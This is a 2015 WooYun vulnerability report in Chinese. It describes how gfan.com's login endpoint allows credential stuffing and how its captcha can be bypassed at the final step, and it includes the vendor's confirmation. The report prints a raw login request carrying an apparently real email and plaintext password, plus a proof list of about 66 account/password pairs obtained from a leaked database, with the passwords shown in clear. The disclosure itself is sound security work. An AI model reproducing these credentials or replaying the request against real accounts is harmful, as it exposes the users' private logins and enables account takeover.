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缺陷编号:wooyun-2015-0109312

漏洞标题:机锋某接口撞库泄露用户登录凭据(有批量账号证明)

相关厂商:机锋网

漏洞作者: 路人甲

提交时间:2015-04-21 10:40

修复时间:2015-06-05 10:48

公开时间:2015-06-05 10:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-21: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向核心白帽子及相关领域专家公开
2015-05-11: 细节向普通白帽子公开
2015-05-21: 细节向实习白帽子公开
2015-06-05: 细节向公众公开

简要描述:

撞库扫号攻击已经是Top 10 Security Risks for 2014之一.撞库以大量的用户数据为基础,利用用户相同的注册习惯(相同的用户名和密码),尝试登陆其它的网站。2011年,互联网泄密事件引爆了整个信息安全界,导致传统的用户+密码认证的方式已无法满足现有安全需求。泄露数据包括:天涯:31,758,468条,CSDN:6,428,559条,微博:4,442,915条,人人网:4,445,047条,猫扑:2,644,726条,178:9,072,819条,嘟嘟牛:13,891,418条,7K7K:18,282,404条,共1.2亿条。不管你的网站密码保护的多好,但是面对已经泄露的账号密码,撞库扫号防御还是一个相当重要的环节。

详细说明:

主站登录接口没有防御撞库。对登录接口的调用没有进行限制。经过测试发现,使用某泄露数据库可以碰撞获得大量有效的登录账号
主站登陆验证码绕过。验证码只在之前的一步有验证,最后登录的时候没有验证。。这逻辑写的。。。
登录数据包如下:

POST /doLogin HTTP/1.1
Host: my.gfan.com
Proxy-Connection: keep-alive
Content-Length: 108
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://my.gfan.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://my.gfan.com/login?returnUrl=http://www.gfan.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie:
RA-Ver: 2.9.0
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
Connection: close
gotoUrl=http%3A%2F%2Fwww.gfan.com%2Findex.php&loginName=zhangyajun131@163%2ecom&password=57529704&authCode=


漏洞证明:

经过测试发现,使用某泄露数据库可以碰撞获得大量有效的登录账号.目前互联网上公开的账号都有数亿的规模,真要被利用的话危害还是很大的。

[email protected]	429131222
[email protected] wtzjw885281112
[email protected] 12345678
[email protected] 19880818
[email protected] 90281972
[email protected] 83030545
[email protected] 072324aa
[email protected] liliangS
[email protected] 369258174
[email protected] 5991139989
[email protected] sigon621
[email protected] nishiwo20
[email protected] 610054
[email protected] xuqingyu
[email protected] 123456
[email protected] chen1234
[email protected] 78524
[email protected] hjhgm7679
[email protected] 19831210
[email protected] dxlzj0513
[email protected] steers19841122
[email protected] 12334566
[email protected] 5b8w2pck
[email protected] wn19900809
[email protected] 65580321
[email protected] zjtzlhjs
[email protected] 42142130999
[email protected] 983170
[email protected] 19821025hy
[email protected] 19850s23
[email protected] feidong7031
[email protected] 19841226
[email protected] tekprene
[email protected] 92540819
[email protected] wangjing
[email protected] houdong135245
[email protected] bkr54127
[email protected] 19761113
[email protected] 123456789yz
[email protected] bingbing
[email protected] jco123
[email protected] wisdom73
[email protected] 800818
[email protected] 3249006
[email protected] x8182131y
[email protected] 69158089
[email protected] 959001112
[email protected] 79801314
[email protected] 03281250
[email protected] 19800515
[email protected] heng1025
[email protected] ccrr19880827
[email protected] aaa123123
[email protected] 1988602418
[email protected] zqwzqwzqw
[email protected] 62637736
[email protected] hjwisatc
[email protected] 85798579
[email protected] 122545669
[email protected] a121522434
[email protected] 1033286hao
[email protected] 13166493747
[email protected] wangjiaxi
[email protected] tony5212129
[email protected] 8902061125
[email protected] qq123456


屏幕快照 2015-04-20 下午10.16.36.png


屏幕快照 2015-04-20 下午10.17.09.png

修复方案:

撞库防御参考资料:http://stayliv3.github.io/2015/04/15/%E6%92%9E%E5%BA%93%E6%94%BB%E5%87%BB%E9%98%B2%E5%BE%A1%E6%96%B9%E6%A1%88/

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-21 10:46

厂商回复:

谢谢,修复中

最新状态:

暂无